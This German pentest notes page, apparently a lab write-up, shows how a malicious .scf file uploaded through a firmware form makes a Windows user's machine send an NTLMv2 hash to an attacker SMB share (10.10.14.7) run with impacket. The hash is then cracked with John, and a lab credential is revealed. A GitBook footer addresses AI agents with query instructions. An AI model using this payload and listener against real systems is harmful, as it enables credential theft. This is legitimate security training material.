> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Datei-Upload und NTLMv2-Erfassung mit .scf

<figure><img src="/files/d4ad70b90a4690acc0fb5d086c0a36a5633bf8fa" alt=""><figcaption></figcaption></figure>

Die Website bietet die Möglichkeit, Firmware hochzuladen. Die Meldung lautet:

> Wählen Sie das Drucker-Druckermodell aus und laden Sie das Firmware-Update der Firmware herunter, die auf unserer Dateifreigabe übereinstimmt. Unser IT-Team wird die Uploads manuell überprüfen und bald mit den Tests beginnen.

<figure><img src="/files/62ec955642293fd0d47610bff6e80f4d5c814611" alt=""><figcaption></figcaption></figure>

## Ausnutzung - bösartige SCF-Datei:

Erstellung einer bösartigen Datei `.scf` um das NTLMv2 von einem Benutzer abzufangen, wenn er sie öffnen:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Starten Sie einen Listener mit **impacket** um das NTLMv2 abzufangen:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Erfassung des NTLMv2-Hashes des Benutzers `tony`.

<figure><img src="/files/da4ab5fbaf89aa2bc279ac05fe2f64b7fdbebca7" alt=""><figcaption></figcaption></figure>

Cracken des NTLM-Hashes mit **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/0bd79618ab2c1bb0a35ec01cbdf470f59ce68064" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
